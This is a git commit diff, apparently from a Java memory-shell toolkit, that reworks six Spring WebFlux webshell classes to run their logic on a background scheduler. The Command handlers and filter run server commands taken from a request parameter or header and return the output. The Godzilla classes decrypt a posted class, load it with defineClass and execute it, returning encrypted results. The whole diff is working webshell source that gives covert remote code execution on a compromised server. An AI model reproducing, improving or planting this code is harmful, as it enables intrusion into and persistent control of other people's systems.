fix: webfilter and handler broken business

This commit is contained in:
ReaJason
2026-08-25 22:08:36 +08:00
parent f962da2807
commit 77acbf0bf5
6 changed files with 133 additions and 104 deletions
@@ -4,6 +4,7 @@ import org.springframework.web.reactive.function.server.HandlerFunction;
import org.springframework.web.reactive.function.server.ServerRequest; import org.springframework.web.reactive.function.server.ServerRequest;
import org.springframework.web.reactive.function.server.ServerResponse; import org.springframework.web.reactive.function.server.ServerResponse;
import reactor.core.publisher.Mono; import reactor.core.publisher.Mono;
import reactor.core.scheduler.Schedulers;
import java.io.InputStream; import java.io.InputStream;
import java.util.Optional; import java.util.Optional;
@@ -26,17 +27,21 @@ public class CommandHandlerFunction implements HandlerFunction<ServerResponse> {
if (p == null || p.isEmpty()) { if (p == null || p.isEmpty()) {
p = request.headers().firstHeader(paramName); p = request.headers().firstHeader(paramName);
} }
String result = ""; final String paramValue = p;
try { Mono<String> resultMono = Mono.fromCallable(() -> {
if (p != null) { String result = "";
String param = getParam(p); try {
InputStream inputStream = getInputStream(param); if (paramValue != null) {
result = new Scanner(inputStream).useDelimiter("\\A").next(); String param = getParam(paramValue);
InputStream inputStream = getInputStream(param);
result = new Scanner(inputStream).useDelimiter("\\A").next();
}
} catch (Throwable e) {
e.printStackTrace();
} }
} catch (Throwable e) { return result;
e.printStackTrace(); }).subscribeOn(Schedulers.boundedElastic());
} return ServerResponse.ok().body(resultMono, String.class);
return ServerResponse.ok().body(Mono.just(result), String.class);
} }
private String getParam(String param) { private String getParam(String param) {
@@ -2,6 +2,8 @@ package com.reajason.javaweb.memshell.shelltool.command;
import org.springframework.http.ResponseEntity; import org.springframework.http.ResponseEntity;
import org.springframework.web.server.ServerWebExchange; import org.springframework.web.server.ServerWebExchange;
import reactor.core.publisher.Mono;
import reactor.core.scheduler.Schedulers;
import java.io.InputStream; import java.io.InputStream;
import java.util.Scanner; import java.util.Scanner;
@@ -18,17 +20,21 @@ public class CommandHandlerMethod {
if (p == null || p.isEmpty()) { if (p == null || p.isEmpty()) {
p = exchange.getRequest().getHeaders().getFirst(paramName); p = exchange.getRequest().getHeaders().getFirst(paramName);
} }
String result = ""; final String paramValue = p;
try { Mono<String> resultMono = Mono.fromCallable(() -> {
if (p != null) { String result = "";
String param = getParam(p); try {
InputStream inputStream = getInputStream(param); if (paramValue != null) {
result = new Scanner(inputStream).useDelimiter("\\A").next(); String param = getParam(paramValue);
InputStream inputStream = getInputStream(param);
result = new Scanner(inputStream).useDelimiter("\\A").next();
}
} catch (Throwable e) {
e.printStackTrace();
} }
} catch (Throwable e) { return result;
e.printStackTrace(); }).subscribeOn(Schedulers.boundedElastic());
} return ResponseEntity.ok(resultMono);
return ResponseEntity.ok(result);
} }
private String getParam(String param) { private String getParam(String param) {
@@ -5,6 +5,7 @@ import org.springframework.web.server.ServerWebExchange;
import org.springframework.web.server.WebFilter; import org.springframework.web.server.WebFilter;
import org.springframework.web.server.WebFilterChain; import org.springframework.web.server.WebFilterChain;
import reactor.core.publisher.Mono; import reactor.core.publisher.Mono;
import reactor.core.scheduler.Schedulers;
import java.io.InputStream; import java.io.InputStream;
import java.nio.charset.StandardCharsets; import java.nio.charset.StandardCharsets;
@@ -26,15 +27,20 @@ public class CommandWebFilter implements WebFilter {
if (p == null) { if (p == null) {
return chain.filter(exchange); return chain.filter(exchange);
} }
String param = getParam(p); final String paramValue = p;
String result = ""; return Mono.fromCallable(() -> {
try { String param = getParam(paramValue);
InputStream inputStream = getInputStream(param); String result = "";
result = new Scanner(inputStream).useDelimiter("\\A").next(); try {
} catch (Throwable e) { InputStream inputStream = getInputStream(param);
e.printStackTrace(); result = new Scanner(inputStream).useDelimiter("\\A").next();
} } catch (Throwable e) {
return exchange.getResponse().writeWith(Mono.just(new DefaultDataBufferFactory().wrap(result.getBytes(StandardCharsets.UTF_8)))); e.printStackTrace();
}
return result;
}).subscribeOn(Schedulers.boundedElastic())
.flatMap(result -> exchange.getResponse().writeWith(
Mono.just(new DefaultDataBufferFactory().wrap(result.getBytes(StandardCharsets.UTF_8)))));
} }
private String getParam(String param) { private String getParam(String param) {
@@ -1,9 +1,11 @@
package com.reajason.javaweb.memshell.shelltool.godzilla; package com.reajason.javaweb.memshell.shelltool.godzilla;
import org.springframework.util.MultiValueMap;
import org.springframework.web.reactive.function.server.HandlerFunction; import org.springframework.web.reactive.function.server.HandlerFunction;
import org.springframework.web.reactive.function.server.ServerRequest; import org.springframework.web.reactive.function.server.ServerRequest;
import org.springframework.web.reactive.function.server.ServerResponse; import org.springframework.web.reactive.function.server.ServerResponse;
import reactor.core.publisher.Mono; import reactor.core.publisher.Mono;
import reactor.core.scheduler.Schedulers;
import javax.crypto.Cipher; import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec; import javax.crypto.spec.SecretKeySpec;
@@ -35,33 +37,36 @@ public class GodzillaHandlerFunction extends ClassLoader implements HandlerFunct
if (value == null || !value.contains(headerValue)) { if (value == null || !value.contains(headerValue)) {
return Mono.empty(); return Mono.empty();
} }
Object bufferStream = request.formData().flatMap(map -> { Mono<String> bufferStream = request.formData()
StringBuilder result = new StringBuilder(); .flatMap(map -> Mono.fromCallable(() -> process(map, request))
try { .subscribeOn(Schedulers.boundedElastic()));
byte[] data = base64Decode(map.getFirst(pass));
data = x(data, false);
if (payload == null) {
payload = new GodzillaHandlerFunction(Thread.currentThread().getContextClassLoader()).defineClass(data, 0, data.length);
} else {
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
Object f = payload.newInstance();
f.equals(arrOut);
f.equals(data);
f.equals(request);
f.toString();
result.append(md5.substring(0, 16));
result.append(base64Encode(x(arrOut.toByteArray(), true)));
result.append(md5.substring(16));
}
} catch (Throwable ex) {
ex.printStackTrace();
result.append(getErrorMessage(ex));
}
return Mono.just(result.toString());
});
return ServerResponse.ok().body(bufferStream, String.class); return ServerResponse.ok().body(bufferStream, String.class);
} }
private String process(MultiValueMap<String, String> map, ServerRequest request) {
StringBuilder result = new StringBuilder();
try {
byte[] data = base64Decode(map.getFirst(pass));
data = x(data, false);
if (payload == null) {
payload = new GodzillaHandlerFunction(Thread.currentThread().getContextClassLoader()).defineClass(data, 0, data.length);
} else {
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
Object f = payload.newInstance();
f.equals(arrOut);
f.equals(data);
f.equals(request);
f.toString();
result.append(md5.substring(0, 16));
result.append(base64Encode(x(arrOut.toByteArray(), true)));
result.append(md5.substring(16));
}
} catch (Throwable ex) {
ex.printStackTrace();
result.append(getErrorMessage(ex));
}
return result.toString();
}
@SuppressWarnings("all") @SuppressWarnings("all")
public static String base64Encode(byte[] bs) throws Exception { public static String base64Encode(byte[] bs) throws Exception {
@@ -1,8 +1,10 @@
package com.reajason.javaweb.memshell.shelltool.godzilla; package com.reajason.javaweb.memshell.shelltool.godzilla;
import org.springframework.http.ResponseEntity; import org.springframework.http.ResponseEntity;
import org.springframework.util.MultiValueMap;
import org.springframework.web.server.ServerWebExchange; import org.springframework.web.server.ServerWebExchange;
import reactor.core.publisher.Mono; import reactor.core.publisher.Mono;
import reactor.core.scheduler.Schedulers;
import javax.crypto.Cipher; import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec; import javax.crypto.spec.SecretKeySpec;
@@ -33,33 +35,37 @@ public class GodzillaHandlerMethod extends ClassLoader {
if (value == null || !value.contains(headerValue)) { if (value == null || !value.contains(headerValue)) {
return ResponseEntity.notFound().build(); return ResponseEntity.notFound().build();
} }
Object bufferStream = exchange.getFormData().flatMap(map -> { Mono<String> bufferStream = exchange.getFormData()
StringBuilder result = new StringBuilder(); .flatMap(map -> Mono.fromCallable(() -> process(map, exchange))
try { .subscribeOn(Schedulers.boundedElastic()));
byte[] data = base64Decode(map.getFirst(pass));
data = x(data, false);
if (payload == null) {
payload = new GodzillaHandlerMethod(Thread.currentThread().getContextClassLoader()).defineClass(null, data, 0, data.length);
} else {
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
Object f = payload.getDeclaredConstructor().newInstance();
f.equals(arrOut);
f.equals(data);
f.equals(exchange.getRequest());
f.toString();
result.append(md5.substring(0, 16));
result.append(base64Encode(x(arrOut.toByteArray(), true)));
result.append(md5.substring(16));
}
} catch (Throwable ex) {
ex.printStackTrace();
result.append(getErrorMessage(ex));
}
return Mono.just(result.toString());
});
return ResponseEntity.ok(bufferStream); return ResponseEntity.ok(bufferStream);
} }
private String process(MultiValueMap<String, String> map, ServerWebExchange exchange) {
StringBuilder result = new StringBuilder();
try {
byte[] data = base64Decode(map.getFirst(pass));
data = x(data, false);
if (payload == null) {
payload = new GodzillaHandlerMethod(Thread.currentThread().getContextClassLoader()).defineClass(null, data, 0, data.length);
} else {
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
Object f = payload.getDeclaredConstructor().newInstance();
f.equals(arrOut);
f.equals(data);
f.equals(exchange.getRequest());
f.toString();
result.append(md5.substring(0, 16));
result.append(base64Encode(x(arrOut.toByteArray(), true)));
result.append(md5.substring(16));
}
} catch (Throwable ex) {
ex.printStackTrace();
result.append(getErrorMessage(ex));
}
return result.toString();
}
@SuppressWarnings("all") @SuppressWarnings("all")
public static String base64Encode(byte[] bs) throws Exception { public static String base64Encode(byte[] bs) throws Exception {
try { try {
@@ -1,12 +1,12 @@
package com.reajason.javaweb.memshell.shelltool.godzilla; package com.reajason.javaweb.memshell.shelltool.godzilla;
import org.springframework.core.io.buffer.DataBuffer;
import org.springframework.core.io.buffer.DefaultDataBufferFactory; import org.springframework.core.io.buffer.DefaultDataBufferFactory;
import org.springframework.util.MultiValueMap; import org.springframework.util.MultiValueMap;
import org.springframework.web.server.ServerWebExchange; import org.springframework.web.server.ServerWebExchange;
import org.springframework.web.server.WebFilter; import org.springframework.web.server.WebFilter;
import org.springframework.web.server.WebFilterChain; import org.springframework.web.server.WebFilterChain;
import reactor.core.publisher.Mono; import reactor.core.publisher.Mono;
import reactor.core.scheduler.Schedulers;
import javax.crypto.Cipher; import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec; import javax.crypto.spec.SecretKeySpec;
@@ -39,35 +39,36 @@ public class GodzillaWebFilter extends ClassLoader implements WebFilter {
if (value == null || !value.contains(headerValue)) { if (value == null || !value.contains(headerValue)) {
return chain.filter(exchange); return chain.filter(exchange);
} }
return exchange.getResponse().writeWith(getPost(exchange)); return exchange.getFormData()
.flatMap(map -> Mono.fromCallable(() -> process(map, exchange))
.subscribeOn(Schedulers.boundedElastic()))
.flatMap(bytes -> exchange.getResponse().writeWith(
Mono.just(new DefaultDataBufferFactory().wrap(bytes))));
} }
private Mono<DataBuffer> getPost(ServerWebExchange exchange) { private byte[] process(MultiValueMap<String, String> map, ServerWebExchange exchange) {
Mono<MultiValueMap<String, String>> formData = exchange.getFormData(); StringBuilder result = new StringBuilder();
return formData.flatMap(map -> { try {
StringBuilder result = new StringBuilder(); byte[] data = base64Decode(map.getFirst(pass));
try { data = x(data, false);
byte[] data = base64Decode(map.getFirst(pass)); if (payload == null) {
data = x(data, false); payload = new GodzillaWebFilter(Thread.currentThread().getContextClassLoader()).defineClass(data, 0, data.length);
if (payload == null) { } else {
payload = new GodzillaWebFilter(Thread.currentThread().getContextClassLoader()).defineClass(data, 0, data.length); ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
} else { Object f = payload.getDeclaredConstructor().newInstance();
ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); f.equals(arrOut);
Object f = payload.getDeclaredConstructor().newInstance(); f.equals(exchange.getRequest());
f.equals(arrOut); f.equals(data);
f.equals(exchange.getRequest()); f.toString();
f.equals(data); result.append(md5.substring(0, 16));
f.toString(); result.append(base64Encode(x(arrOut.toByteArray(), true)));
result.append(md5.substring(0, 16)); result.append(md5.substring(16));
result.append(base64Encode(x(arrOut.toByteArray(), true)));
result.append(md5.substring(16));
}
} catch (Throwable e) {
e.printStackTrace();
result.append(getErrorMessage(e));
} }
return Mono.just(new DefaultDataBufferFactory().wrap(result.toString().getBytes(StandardCharsets.UTF_8))); } catch (Throwable e) {
}); e.printStackTrace();
result.append(getErrorMessage(e));
}
return result.toString().getBytes(StandardCharsets.UTF_8);
} }
@SuppressWarnings("all") @SuppressWarnings("all")